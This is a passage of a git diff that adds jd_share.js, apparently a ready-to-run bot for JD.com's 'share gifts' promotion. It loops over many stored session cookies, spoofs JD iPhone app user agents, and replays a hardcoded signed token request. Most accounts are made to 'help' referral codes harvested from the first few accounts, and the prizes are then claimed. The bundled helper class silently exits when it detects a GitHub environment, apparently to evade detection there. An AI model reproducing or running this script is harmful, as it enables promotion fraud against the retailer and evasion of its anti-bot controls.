this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_share.js b/jd_share.js new file mode 100755 index 0000000..28aad26 --- /dev/null +++ b/jd_share.js @@ -0,0 +1,459 @@ +/* +关注 https://t.me/okyydsnb +7 7 7 7 7 jd_share.js +注意控制ck数量 +*/ + +const $ = new Env("分享有礼"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let authorCodeList = []; +let ownCookieNum = 1; +let isGetAuthorCodeList = true +let activityId = '5da58c75d1204bd1a873c568567844a9' +let activityShopId = '' + +if (process.env.OWN_COOKIE_NUM && process.env.OWN_COOKIE_NUM != 4) { + ownCookieNum = process.env.OWN_COOKIE_NUM; +} +if (process.env.ACTIVITY_ID && process.env.ACTIVITY_ID != "") { + activityId = process.env.ACTIVITY_ID; +} + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + isGetAuthorCodeList = true; + for (let i = 0; i < ownCookieNum; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + // if ($.isNode()) { + // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + // } + continue + } + + $.bean = 0; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + $.authorCode = authorCodeList[random(0, authorCodeList.length)] + $.authorNum = `${random(1000000, 9999999)}` + $.activityId = activityId + $.activityShopId = '' + $.activityUrl = `https://lzkjdz-isv.isvjcloud.com/wxShareActivity/activity/${$.authorNum}?activityId=${$.activityId}&friendUuid=${encodeURIComponent($.authorCode)}&shareuserid4minipg=null&shopid=${$.activityShopId}` + await share(); + activityShopId = $.venderId; + } + } + isGetAuthorCodeList = false; + console.log('需要助力助力码') + console.log(authorCodeList) + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + $.errorMessage = '' + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + // if ($.isNode()) { + // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + // } + continue + } + + $.bean = 0; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + $.authorCode = authorCodeList[random(0, authorCodeList.length)] + $.authorNum = `${random(1000000, 9999999)}` + $.activityId = activityId + $.activityShopId = activityShopId + // $.activityUrl = `https://lzkjdz-isv.isvjcloud.com/wxShareActivity/activity/${$.authorNum}?activityId=${$.activityId}&friendUuid=${encodeURIComponent($.authorCode)}&shareuserid4minipg=null&shopid=${$.activityShopId}` + $.activityUrl = `https://lzkjdz-isv.isvjcloud.com/wxShareActivity/activity/${$.activityId}?activityId=${$.activityId}&adsource=tg_xuanFuTuBiao` + for(let i in authorCodeList){ + $.authorCode = authorCodeList[i] + console.log('去助力: '+$.authorCode) + + await share(); + if ($.errorMessage === '活动太火爆,还是去买买买吧') { + break + } + // await $.wait(2000) + } + } + // await $.wait(2000) + } + for (let i = 0; i < ownCookieNum; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.isLogin = true; + $.nickName = ''; + await checkCookie(); + console.log(`\n*开始【京东账号】${$.nickName || $.UserName} 领取*\n`); + $.authorCode = authorCodeList[0] + $.activityId = activityId + $.activityShopId = activityShopId + await getPrize(); + // await $.wait(2000) + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +async function share() { + $.token = null; + $.secretPin = null; + $.openCardActivityId = null + await getFirstLZCK() + await getToken(); + await task('customer/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) + if ($.token) { + await getMyPing(); + if ($.secretPin) { + await $.wait(500) + await task('common/accessLogWithAD', `venderId=${$.activityShopId}&code=25&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); + await task('activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&friendUuid=${encodeURIComponent($.authorCode)}`) + } else { + $.log("没有成功获取到用户信息") + } + } else { + $.log("没有成功获取到用户鉴权信息") + } +} + +async function getPrize() { + $.log('那就开始吧。') + $.token = null; + $.secretPin = null; + $.openCardActivityId = null + await getFirstLZCK() + await getToken(); + await task('customer/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) + if ($.token) { + await getMyPing(); + if ($.secretPin) { + await task('activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&friendUuid=${encodeURIComponent($.authorCode)}`) + for(let d in $.drawContentVOs){ + await task('getPrize', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&drawInfoId=${$.drawContentVOs[d]['drawInfoId']}`) + } + } else { + $.log("没有成功获取到用户信息") + } + } else { + $.log("没有成功获取到用户鉴权信息") + } +} + +function task(function_id, body, isCommon = 0) { + return new Promise(resolve => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + + if (data) { + data = JSON.parse(data); + if (data.result) { + switch (function_id) { + case 'customer/getSimpleActInfoVo': + $.venderId = data.data.venderId; + $.activityShopId = data.data.venderId; + break; + case 'activityContent': + $.activityContent = data.data; + if(isGetAuthorCodeList){ + console.log('将助力码 '+data.data.myUuid+' 加入助力数组'); + authorCodeList.push(data.data.myUuid); + } + console.log(data.data.myUuid); + $.drawContentVOs = data.data.drawContentVOs + break; + case 'getPrize': + console.log(data.data.name); + break; + } + } else { + $.log(JSON.stringify(data)) + } + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function taskUrl(function_id, body, isCommon) { + return { + url: isCommon ? `https://lzkjdz-isv.isvjcloud.com/${function_id}` : `https://lzkjdz-isv.isvjcloud.com/wxShareActivity/${function_id}`, + headers: { + Host: 'lzkjdz-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzkjdz-isv.isvjcloud.comm', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie + }, + body: body + + } +} + +function getMyPing() { + let opt = { + url: `https://lzkjdz-isv.isvjcloud.com/customer/getMyPing`, + headers: { + Host: 'lzkjdz-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzkjdz-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (data) { + data = JSON.parse(data) + if (data.result) { + $.log(`你好:${data.data.nickname}`) + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` + } else { + $.errorMessage = data.errorMessage + $.log($.errorMessage) + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + + }) + }) +} +function getFirstLZCK() { + return new Promise(resolve => { + $.get({ url: $.activityUrl ,headers:{"user-agent":$.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1")}}, (err, resp, data) => { + try { + if (err) { + console.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + $.cookie = cookie + } + } catch (error) { + console.log(error) + } finally { + resolve(); + } + }) + }) +} +function getToken() { + let opt = { + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + headers: { + Host: 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + Accept: '*/*', + Connection: 'keep-alive', + Cookie: cookie, + 'User-Agent': 'JD4iPhone/167650 (iPhone; iOS 13.7; Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1', + 'Accept-Encoding': 'gzip, deflate, br', + }, + body: `body=%7B%22url%22%3A%20%22https%3A//lzdz1-isv.isvjcloud.com%22%2C%20%22id%22%3A%20%22%22%7D&uuid=72124265217d48b7955781024d65bbc4&client=apple&clientVersion=9.4.0&st=1621796702000&sv=120&sign=14f7faa31356c74e9f4289972db4b988` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.code === "0") { + $.token = data.token + } + } else { + $.log("京东返回了空数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} +function random(min, max) { + + return Math.floor(Math.random() * (max - min)) + min; + +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +function checkCookie() { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + "Host": "me-api.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "Cookie": cookie, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.2 Mobile/15E148 Safari/604.1", + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br", + } + }; + return new Promise(resolve => { + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data.retcode === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data.retcode === "0" && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东返回了空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +// prettier-ignore +!function (n) { "use strict"; function t(n, t) { var r = (65535 & n) + (65535 & t); return (n >> 16) + (t >> 16) + (r >> 16) << 16 | 65535 & r } function r(n, t) { return n << t | n >>> 32 - t } function e(n, e, o, u, c, f) { return t(r(t(t(e, n), t(u, f)), c), o) } function o(n, t, r, o, u, c, f) { return e(t & r | ~t & o, n, t, u, c, f) } function u(n, t, r, o, u, c, f) { return e(t & o | r & ~o, n, t, u, c, f) } function c(n, t, r, o, u, c, f) { return e(t ^ r ^ o, n, t, u, c, f) } function f(n, t, r, o, u, c, f) { return e(r ^ (t | ~o), n, t, u, c, f) } function i(n, r) { n[r >> 5] |= 128 << r % 32, n[14 + (r + 64 >>> 9 << 4)] = r; var e, i, a, d, h, l = 1732584193, g = -271733879, v = -1732584194, m = 271733878; for (e = 0; e < n.length; e += 16)i = l, a = g, d = v, h = m, g = f(g = f(g = f(g = f(g = c(g = c(g = c(g = c(g = u(g = u(g = u(g = u(g = o(g = o(g = o(g = o(g, v = o(v, m = o(m, l = o(l, g, v, m, n[e], 7, -680876936), g, v, n[e + 1], 12, -389564586), l, g, n[e + 2], 17, 606105819), m, l, n[e + 3], 22, -1044525330), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 4], 7, -176418897), g, v, n[e + 5], 12, 1200080426), l, g, n[e + 6], 17, -1473231341), m, l, n[e + 7], 22, -45705983), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 8], 7, 1770035416), g, v, n[e + 9], 12, -1958414417), l, g, n[e + 10], 17, -42063), m, l, n[e + 11], 22, -1990404162), v = o(v, m = o(m, l = o(l, g, v, m, n[e + 12], 7, 1804603682), g, v, n[e + 13], 12, -40341101), l, g, n[e + 14], 17, -1502002290), m, l, n[e + 15], 22, 1236535329), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 1], 5, -165796510), g, v, n[e + 6], 9, -1069501632), l, g, n[e + 11], 14, 643717713), m, l, n[e], 20, -373897302), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 5], 5, -701558691), g, v, n[e + 10], 9, 38016083), l, g, n[e + 15], 14, -660478335), m, l, n[e + 4], 20, -405537848), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 9], 5, 568446438), g, v, n[e + 14], 9, -1019803690), l, g, n[e + 3], 14, -187363961), m, l, n[e + 8], 20, 1163531501), v = u(v, m = u(m, l = u(l, g, v, m, n[e + 13], 5, -1444681467), g, v, n[e + 2], 9, -51403784), l, g, n[e + 7], 14, 1735328473), m, l, n[e + 12], 20, -1926607734), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 5], 4, -378558), g, v, n[e + 8], 11, -2022574463), l, g, n[e + 11], 16, 1839030562), m, l, n[e + 14], 23, -35309556), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 1], 4, -1530992060), g, v, n[e + 4], 11, 1272893353), l, g, n[e + 7], 16, -155497632), m, l, n[e + 10], 23, -1094730640), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 13], 4, 681279174), g, v, n[e], 11, -358537222), l, g, n[e + 3], 16, -722521979), m, l, n[e + 6], 23, 76029189), v = c(v, m = c(m, l = c(l, g, v, m, n[e + 9], 4, -640364487), g, v, n[e + 12], 11, -421815835), l, g, n[e + 15], 16, 530742520), m, l, n[e + 2], 23, -995338651), v = f(v, m = f(m, l = f(l, g, v, m, n[e], 6, -198630844), g, v, n[e + 7], 10, 1126891415), l, g, n[e + 14], 15, -1416354905), m, l, n[e + 5], 21, -57434055), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 12], 6, 1700485571), g, v, n[e + 3], 10, -1894986606), l, g, n[e + 10], 15, -1051523), m, l, n[e + 1], 21, -2054922799), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 8], 6, 1873313359), g, v, n[e + 15], 10, -30611744), l, g, n[e + 6], 15, -1560198380), m, l, n[e + 13], 21, 1309151649), v = f(v, m = f(m, l = f(l, g, v, m, n[e + 4], 6, -145523070), g, v, n[e + 11], 10, -1120210379), l, g, n[e + 2], 15, 718787259), m, l, n[e + 9], 21, -343485551), l = t(l, i), g = t(g, a), v = t(v, d), m = t(m, h); return [l, g, v, m] } function a(n) { var t, r = "", e = 32 * n.length; for (t = 0; t < e; t += 8)r += String.fromCharCode(n[t >> 5] >>> t % 32 & 255); return r } function d(n) { var t, r = []; for (r[(n.length >> 2) - 1] = void 0, t = 0; t < r.length; t += 1)r[t] = 0; var e = 8 * n.length; for (t = 0; t < e; t += 8)r[t >> 5] |= (255 & n.charCodeAt(t / 8)) << t % 32; return r } function h(n) { return a(i(d(n), 8 * n.length)) } function l(n, t) { var r, e, o = d(n), u = [], c = []; for (u[15] = c[15] = void 0, o.length > 16 && (o = i(o, 8 * n.length)), r = 0; r < 16; r += 1)u[r] = 909522486 ^ o[r], c[r] = 1549556828 ^ o[r]; return e = i(u.concat(d(t)), 512 + 8 * t.length), a(i(c.concat(e), 640)) } function g(n) { var t, r, e = ""; for (r = 0; r < n.length; r += 1)t = n.charCodeAt(r), e += "0123456789abcdef".charAt(t >>> 4 & 15) + "0123456789abcdef".charAt(15 & t); return e } function v(n) { return unescape(encodeURIComponent(n)) } function m(n) { return h(v(n)) } function p(n) { return g(m(n)) } function s(n, t) { return l(v(n), v(t)) } function C(n, t) { return g(s(n, t)) } function A(n, t, r) { return t ? r ? s(t, n) : C(t, n) : r ? m(n) : p(n) } $.md5 = A }(this); +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new 